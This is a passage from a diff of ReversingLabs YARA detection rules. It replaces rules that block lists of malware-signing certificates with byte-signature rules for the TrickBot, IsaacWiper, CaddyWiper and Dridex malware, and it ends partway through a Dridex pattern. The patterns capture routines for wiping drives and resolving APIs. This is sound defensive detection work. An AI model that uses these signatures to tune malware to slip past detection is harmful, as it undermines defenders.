+ 83 7E ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 55 ?? 8D 46 ?? 89 45 ?? 66 90 + 8B 00 85 C0 74 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 52 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? + ?? ?? ?? 8B F8 89 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 45 ?? 6A ?? 6A ?? FF 70 ?? FF 70 + ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 57 53 FF + 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 55 ?? 81 FA ?? ?? ?? ?? 72 ?? 66 83 7F ?? + ?? 75 ?? 85 D2 0F B7 C2 B9 ?? ?? ?? ?? 0F 45 C8 66 89 4F ?? 8B 45 ?? FF 70 ?? FF 70 + ?? FF 75 ?? FF 75 ?? 57 53 FF 55 ?? 8B 55 ?? 8B 4D ?? 8B 45 ?? 41 05 ?? ?? ?? ?? 89 + 4D ?? 89 45 ?? 3B 4E ?? 0F 82 ?? ?? ?? ?? 8B 7D ?? EB ?? FF 15 ?? ?? ?? ?? 33 FF 85 + DB 74 ?? 83 FB ?? 74 ?? 53 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 85 F6 74 ?? 56 6A ?? + FF D3 8B 35 ?? ?? ?? ?? 50 FF D6 EB ?? FF 15 ?? ?? ?? ?? 8B 7D ?? EB ?? 33 C0 5F 5E + 5B 8B E5 5D C2 ?? ?? 8B 35 ?? ?? ?? ?? 85 FF 74 ?? 57 6A ?? FF D3 50 FF D6 8B 45 ?? + 5F 5E 5B 8B E5 5D C2 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OORT inc." and ( pe.signatures [ i ] . serial == "00:56:9e:03:98:8a:f6:0d:80:ce:60:72:89:40:85:0d:9b" or pe.signatures [ i ] . serial == "56:9e:03:98:8a:f6:0d:80:ce:60:72:89:40:85:0d:9b" ) and 1601006510 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $corrupt_physical_drive ) } - -rule REVERSINGLABS_Cert_Blocklist_418F6D959A8A0F82Bef07Ceba3603E52 : INFO FILE +rule REVERSINGLABS_Win32_Trojan_Trickbot : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects TrickBot trojan." author = "ReversingLabs" - id = "ecfb72ef-04c4-55b6-b9e0-e95053e03425" - date = "2020-08-05" - modified = "2023-11-08" + id = "4ed253cc-0398-542b-a2b7-c42a0b9431fb" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5844-L5862" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Win32.Trojan.TrickBot.yara#L1-L46" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6c13c5e85d6e053319193d1d94f216eeec64405c86d15971419078a1ce6c8ac9" + logic_hash = "e10f16c70f1ff7cf11d3e25f06e4c5d9e20c51688582d2b51322f768a8e06d7e" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Trojan" + tc_detection_name = "TrickBot" + tc_detection_factor = 5 importance = 25 + strings: + $entry_setup = { + 58 (68 | 8B) [6-8] 59 [1-3] E2 ?? 57 8B (C7 | EC) 8B (C7 | EC) 05 ?? ?? ?? ?? 68 [4-5] + 89 45 [1-2] 8B D7 [3-4] 8B C1 66 AD 85 C0 74 ?? 3B (C1 | C8) (72 | 77) ?? 2B C1 (C1 | D1) + [2-4] 8B CF 03 C8 81 C1 ?? ?? ?? ?? 8B 01 59 03 D0 52 EB ?? 89 45 ?? 8B C5 B9 ?? ?? + ?? ?? C1 E1 ?? 2B C1 8B 00 89 45 ?? 6A ?? 8B D0 59 FF D2 89 68 ?? 6A ?? 8B D0 FF D2 + } + $decrypt_function_snippet = { + 58 8B C8 75 ?? 58 2B F0 50 8B D8 49 75 ?? 59 58 59 5E 5F 5B C3 + } + $decrypt_function_snippet_wrapper = { + 55 BD ?? ?? ?? ?? 50 51 52 6A ?? FF 45 ?? 8B 45 ?? 59 F7 E1 8D 8D ?? ?? ?? ?? 03 C8 + 89 4D ?? 8F 41 ?? 8F 41 ?? 8F 41 ?? 8F 41 ?? 8F 01 89 79 ?? 89 71 ?? 8B D1 59 89 4A + ?? 55 2B C0 8B C8 8B 02 8B F8 58 41 41 41 41 50 2B C1 8B 00 3B C7 72 ?? 58 C1 E9 ?? + 49 89 4A ?? E3 ?? FF 55 ?? 8B 55 ?? 8B 4A ?? FF 55 ?? 50 51 50 6A ?? 59 FF 55 ?? FF + D0 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OORT inc." and ( pe.signatures [ i ] . serial == "00:41:8f:6d:95:9a:8a:0f:82:be:f0:7c:eb:a3:60:3e:52" or pe.signatures [ i ] . serial == "41:8f:6d:95:9a:8a:0f:82:be:f0:7c:eb:a3:60:3e:52" ) and 1601928240 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $entry_setup and ( $decrypt_function_snippet or $decrypt_function_snippet_wrapper ) } - -rule REVERSINGLABS_Cert_Blocklist_5378C5Bbeba0D3309A35Bb47F63037F7 : INFO FILE +rule REVERSINGLABS_Win32_Trojan_Isaacwiper : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects IsaacWiper trojan." author = "ReversingLabs" - id = "7f367505-d7c1-5b8c-83bd-df3fec789d12" - date = "2020-08-05" - modified = "2023-11-08" + id = "c0924e5e-a942-57a3-a9f9-e6be6efa4c73" + date = "2022-03-02" + modified = "2022-03-02" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5864-L5882" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Win32.Trojan.IsaacWiper.yara#L1-L76" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a96acf93ca6da4d3bf5177b51996825cd3ea70443577622deccdd11fde579c31" + logic_hash = "c9fa43f44c33816a66f61255d101294da63df1afc5a27ed5817072040cd1eec5" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Trojan" + tc_detection_name = "IsaacWiper" + tc_detection_factor = 5 importance = 25 + strings: + $enumerate_physical_drives = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 33 F6 89 55 ?? 57 89 4D ?? B3 ?? C7 45 ?? ?? ?? ?? + ?? 89 75 ?? 84 DB 0F 84 ?? ?? ?? ?? 8B D6 8D 4D ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? + ?? ?? 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? D1 E8 8D + 8D ?? ?? ?? ?? BF ?? ?? ?? ?? 89 45 ?? 2B F8 83 C4 ?? 66 83 7D ?? ?? 8D 0C 41 8D 45 + ?? 74 ?? 83 C0 ?? 66 83 38 ?? 75 ?? 8D 55 ?? 2B C2 D1 F8 8D 04 45 ?? ?? ?? ?? 50 8B + C2 8D 14 3F 50 E8 ?? ?? ?? ?? D1 E8 83 C4 ?? 3B C7 8D 48 ?? 0F 46 C1 8B 4D ?? 03 C8 + 89 4D ?? 83 F9 ?? 73 ?? 8B 3D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? + 6A ?? 68 ?? ?? ?? ?? 50 B3 ?? FF D7 83 F8 ?? 74 ?? 46 50 89 75 ?? FF 15 ?? ?? ?? ?? + E9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 32 DB E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 83 + ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 66 85 C0 0F 95 C1 66 85 C0 0F 84 ?? ?? ?? ?? 6A ?? + 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 66 89 45 ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? E8 ?? ?? ?? ?? D1 E8 8D 4D ?? BE ?? ?? ?? ?? 89 45 ?? 2B F0 83 C4 ?? 66 83 + 7D ?? ?? 8D 0C 41 8D 45 ?? 74 ?? 83 C0 ?? 66 83 38 ?? 75 ?? 8D 55 ?? 2B C2 D1 F8 8D + 04 45 ?? ?? ?? ?? 50 8B C2 8D 14 36 50 E8 ?? ?? ?? ?? D1 E8 83 C4 ?? 3B C6 8D 48 ?? + 0F 46 C1 8B 4D ?? 03 C8 89 4D ?? 83 F9 ?? 0F 83 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? + 6A ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 FF D7 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? 6A ?? 8D 45 + ?? C7 45 ?? ?? ?? ?? ?? 50 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 FF 15 ?? + ?? ?? ?? 83 F8 ?? 0F 94 C3 75 ?? 33 C0 83 7D ?? ?? 0F 44 45 ?? 89 45 ?? 56 FF 15 ?? + ?? ?? ?? 84 DB EB ?? 84 C9 0F 84 ?? ?? ?? ?? 8B 5D ?? 8B D3 8B 4D ?? 6A ?? E8 ?? ?? + ?? ?? 8B 7D ?? 8A C8 83 C4 ?? 33 F6 84 C9 74 ?? 3B F3 74 ?? 6A ?? 8B D6 8B CF E8 ?? + ?? ?? ?? 8A C8 83 C4 ?? 46 83 C7 ?? 84 C9 75 ?? 46 84 C9 74 ?? 8B 5D ?? 3B F3 73 ?? + 6A ?? 8B D6 8B CF E8 ?? ?? ?? ?? 8A C8 83 C4 ?? 46 83 C7 ?? 84 C9 75 ?? 8A C1 5F 5E + 5B 8B E5 5D C3 + } + $corrupt_drive_thread = { + 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8B 5D ?? 56 57 85 DB 0F 84 ?? ?? + ?? ?? 83 7B ?? ?? 0F 85 ?? ?? ?? ?? 8B 43 ?? 8D 4C 24 ?? 03 C0 BA ?? ?? ?? ?? 50 53 + E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 C4 ?? D1 E8 33 C9 66 89 4C 44 ?? 8D 44 24 ?? 50 + FF D7 8B 35 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 6A ?? 8D 44 24 ?? 50 + FF 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 66 83 7C 24 ?? ?? 8D 44 24 + ?? 74 ?? 90 83 C0 ?? 66 83 38 ?? 75 ?? 8D 4C 24 ?? BA ?? ?? ?? ?? 2B C1 D1 F8 8D 04 + 45 ?? ?? ?? ?? 50 8B C1 8D 8C 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? + ?? ?? ?? 50 FF D7 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 6A ?? 6A ?? 6A ?? + 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 89 74 24 + ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 8B 7B ?? 8B 5B ?? C7 44 24 ?? ?? ?? ?? ?? 85 DB 75 ?? + 81 FF ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 89 84 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B 8C 84 ?? ?? ?? ?? 8B D1 C1 EA ?? 33 D1 69 + CA ?? ?? ?? ?? 03 C8 89 8C 84 ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? BA ?? ?? ?? ?? 8D + B4 24 ?? ?? ?? ?? 89 94 24 ?? ?? ?? ?? 0F 1F 80 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 75 ?? + 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 8B 8C 94 ?? ?? ?? ?? 8B C1 + C1 E8 ?? 42 33 C8 89 94 24 ?? ?? ?? ?? 8B C1 25 ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 25 + ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 C1 E8 ?? 33 C1 89 06 83 C6 ?? 8D 84 24 ?? ?? ?? ?? + 3B F0 72 ?? 8B 74 24 ?? 8D 44 24 ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 + 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 44 24 ?? 3D ?? ?? ?? ?? 75 ?? 2B F8 83 DB ?? E9 + ?? ?? ?? ?? 8B C7 0B C3 74 ?? 57 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 + 24 ?? 6A ?? 50 57 8D 84 24 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? + 5F 5E 33 C0 5B 8B E5 5D C2 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OORT inc." and ( pe.signatures [ i ] . serial == "00:53:78:c5:bb:eb:a0:d3:30:9a:35:bb:47:f6:30:37:f7" or pe.signatures [ i ] . serial == "53:78:c5:bb:eb:a0:d3:30:9a:35:bb:47:f6:30:37:f7" ) and 1601427420 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $enumerate_physical_drives and $corrupt_drive_thread ) } - -rule REVERSINGLABS_Cert_Blocklist_0Bab6A2Aa84B495D9E554A4C42C0126D : INFO FILE +rule REVERSINGLABS_Win32_Trojan_Caddywiper : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects CaddyWiper trojan." author = "ReversingLabs" - id = "7b6d364c-3e27-5314-b604-d44bb408fc4e" - date = "2020-08-05" - modified = "2023-11-08" + id = "ad437f29-4ad8-5a88-a0b6-03de55e7375f" + date = "2022-03-15" + modified = "2022-03-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5884-L5900" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Win32.Trojan.CaddyWiper.yara#L1-L95" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "79b6df421c78fd3e2f05a60f7d875e02519297a0278614c9f63dff8b1b2a2d18" + logic_hash = "178ff4171c09866f6b303bdff234beff1116d268995ee4dc236332e472d645b1" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Trojan" + tc_detection_name = "CaddyWiper" + tc_detection_factor = 5 importance = 25 + strings: + $destroy_if_not_controller = { + 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 39 ?? 75 ?? EB ?? 8D 55 ?? 52 FF 55 ?? + C6 45 ?? 43 C6 45 ?? 3A C6 45 ?? 5C C6 45 ?? 55 C6 45 ?? 73 C6 45 ?? 65 C6 45 ?? 72 + C6 45 ?? 73 C6 45 ?? 00 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C6 45 ?? ?? + C6 45 ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 4D ?? 83 C1 ?? 89 4D ?? 83 7D + ?? ?? 73 ?? 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8A 45 ?? 04 ?? 88 45 ?? EB ?? E8 ?? + ?? ?? ?? 8B E5 5D C3 + } + $erase_drive_data = { + C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D 4D ?? 89 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? + 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 95 ?? ?? ?? ?? 89 45 ?? 83 + 7D ?? ?? 74 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? + ?? 51 68 ?? ?? ?? ?? 8B 55 ?? 52 FF 55 ?? 8B 45 ?? 50 FF 55 ?? 8A 4D ?? 88 4D ?? 8A + 55 ?? 80 EA ?? 88 55 ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 E9 ?? 89 8D ?? ?? ?? + ?? 85 C0 0F 85 ?? ?? ?? ?? 8B E5 5D C3 + } + $erase_drives_recursively_1 = { + 55 8B EC 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF C6 85 ?? ?? ?? ?? 2A C6 85 + ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 5C C6 85 ?? ?? ?? ?? 00 8D 85 ?? ?? ?? ?? 50 8B 4D + ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? + ?? ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 + C6 85 ?? ?? ?? ?? 46 C6 85 ?? ?? ?? ?? 69 C6 85 ?? ?? ?? ?? 6E C6 85 ?? ?? ?? ?? 64 + C6 85 ?? ?? ?? ?? 46 C6 85 ?? ?? ?? ?? 69 C6 85 ?? ?? ?? ?? 72 C6 85 ?? ?? ?? ?? 73 + C6 85 ?? ?? ?? ?? 74 C6 85 ?? ?? ?? ?? 46 C6 85 ?? ?? ?? ?? 69 C6 85 ?? ?? ?? ?? 6C + C6 85 ?? ?? ?? ?? 65 C6 85 ?? ?? ?? ?? 41 C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6B + C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 65 C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 72 + C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6E C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 65 + C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6C C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 33 + C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 32 C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 2E + C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 64 C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6C + C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6C C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 00 + C6 85 ?? ?? ?? ?? 00 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8 + } + $erase_drives_recursively_2_p1 = { + 8D 45 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8D 95 ?? + ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? + ?? ?? 75 ?? E9 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 E1 ?? 0F 84 ?? ?? ?? ?? 0F BE 95 ?? + ?? ?? ?? 83 FA ?? 75 ?? 0F BE 85 ?? ?? ?? ?? 85 C0 74 ?? 0F BE 8D ?? ?? ?? ?? 83 F9 + ?? 75 ?? E9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 E2 ?? 75 ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? + 74 ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 + E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 8D 95 ?? ?? + ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8D 95 ?? + ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 + } + $erase_drives_recursively_2_p2 = { + C0 75 ?? E9 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D + ?? ?? ?? ?? 51 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? E9 ?? + ?? ?? ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? + ?? ?? ?? 73 ?? E9 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 76 ?? C7 85 ?? ?? ?? ?? + ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 6A ?? FF 95 ?? ?? ?? + ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 + ?? 6A ?? 6A ?? 6A ?? 8B 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? + 51 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 FF 95 ?? ?? ?? ?? + 8B 95 ?? ?? ?? ?? 52 FF 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 55 ?? 8D 8D ?? ?? ?? + ?? 51 8B 95 ?? ?? ?? ?? 52 FF 95 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 50 FF 95 ?? ?? ?? ?? 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "NOSOV SP Z O O" and pe.signatures [ i ] . serial == "0b:ab:6a:2a:a8:4b:49:5d:9e:55:4a:4c:42:c0:12:6d" and 1597971600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $destroy_if_not_controller ) and ( $erase_drive_data ) and ( all of ( $erase_drives_recursively_* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_6314001C3235Cd59Bcc3F5278C518804 : INFO FILE +rule REVERSINGLABS_Win32_Trojan_Dridex : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Dridex trojan." author = "ReversingLabs" - id = "aff0fb76-587b-5493-810c-ac32a6ba9576" - date = "2020-08-05" - modified = "2023-11-08" + id = "bc68aca1-69e6-57e6-9277-70c89fda1e5d" + date = "2020-06-26" + modified = "2020-09-16" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5902-L5918" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Win32.Trojan.Dridex.yara#L1-L80" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4320f3884c0f7e4939e8988a4e83b8028a5e01fb425ae4faa2273134db835813" + logic_hash = "7eddc8f33846dfb61302b7d7fddd8dec59a1bde05b14135c14131a02e2c19600" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Trojan" + tc_detection_name = "Dridex" + tc_detection_factor = 5 importance = 25 + strings: + $resolve_api_wrapper_1 = { + 56 57 8B FA 8B F1 8B CF E8 ?? ?? ?? ?? 85 C0 75 ?? 81 FE ?? ?? ?? ?? 75 ?? 33 C0 5F + 5E C3 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 8B CE E8 ?? ?? ?? ?? 84 C0 74 ?? 8B CE E8 ?? + ?? ?? ?? 85 C0 74 ?? 8B D7 ?? ?? ?? ?? E9 + } + $resolve_api_wrapper_2 = { + 57 53 8B FA 8B D9 8B CF E8 ?? ?? ?? ?? 85 C0 75 ?? 81 FB ?? ?? ?? ?? 74 ?? 8B CB E8 + ?? ?? ?? ?? 85 C0 74 ?? 8B C8 8B D7 E8 ?? ?? ?? ?? 5B 5F C3 8B CB E8 ?? ?? ?? ?? 84 + C0 74 ?? 8B CB E8 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 EB + } + $resolve_api_wrapper_3 = { + 55 8B EC 57 8B 7D ?? 57 E8 ?? ?? ?? ?? 85 C0 75 ?? 56 8B 75 ?? 81 FE ?? ?? ?? ?? 74 + ?? 56 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B CE E8 ?? ?? ?? ?? 84 C0 74 ?? 56 E8 ?? ?? ?? ?? + 85 C0 75 ?? 5E 33 C0 5F 5D C2 ?? ?? 57 50 E8 ?? ?? ?? ?? 5E 5F 5D C2 + } + $resolve_api_wrapper_4 = { + 55 8B EC FF 75 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 56 8B 75 ?? 81 FE ?? ?? ?? ?? 74 ?? 56 + E8 ?? ?? ?? ?? 85 C0 75 ?? 8B CE E8 ?? ?? ?? ?? 84 C0 74 ?? 56 E8 ?? ?? ?? ?? 85 C0 + 74 ?? 5E 89 45 ?? 5D E9 + } + $find_first_file_snippet_1 = { + 53 56 8B F1 57 33 DB 32 C9 89 5E ?? 33 FF E8 ?? ?? ?? ?? 83 38 ?? 7C ?? [4-6] BA ?? + ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 4E ?? 57 6A ?? 6A ?? 8D 56 ?? + 52 53 51 FF D0 + } + $find_first_file_snippet_2 = { + 57 53 55 8B E9 33 C9 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? + ?? 8B 18 E8 ?? ?? ?? ?? 8B C8 85 C9 74 ?? 33 D2 83 FB ?? 6A ?? 5B 8D 7D ?? 0F 4C DA + 8B C2 53 52 52 57 0F 9D C0 50 FF 75 ?? FF D1 + } + $find_first_file_snippet_3 = { + 53 56 8B F1 33 DB 57 32 C9 89 5E ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B + 38 E8 ?? ?? ?? ?? 8B D0 85 D2 74 ?? 6A ?? 33 C0 83 FF ?? 59 0F 4C C8 8D 46 ?? 51 53 + 53 50 33 C0 83 FF ?? 0F 9D C0 50 FF 76 ?? FF D2 + } + $find_first_file_snippet_4 = { + 53 56 8B F1 57 33 DB 32 C9 89 5E ?? 33 FF E8 ?? ?? ?? ?? 83 38 ?? 7C ?? 8D 7B ?? 8D + 5F ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? 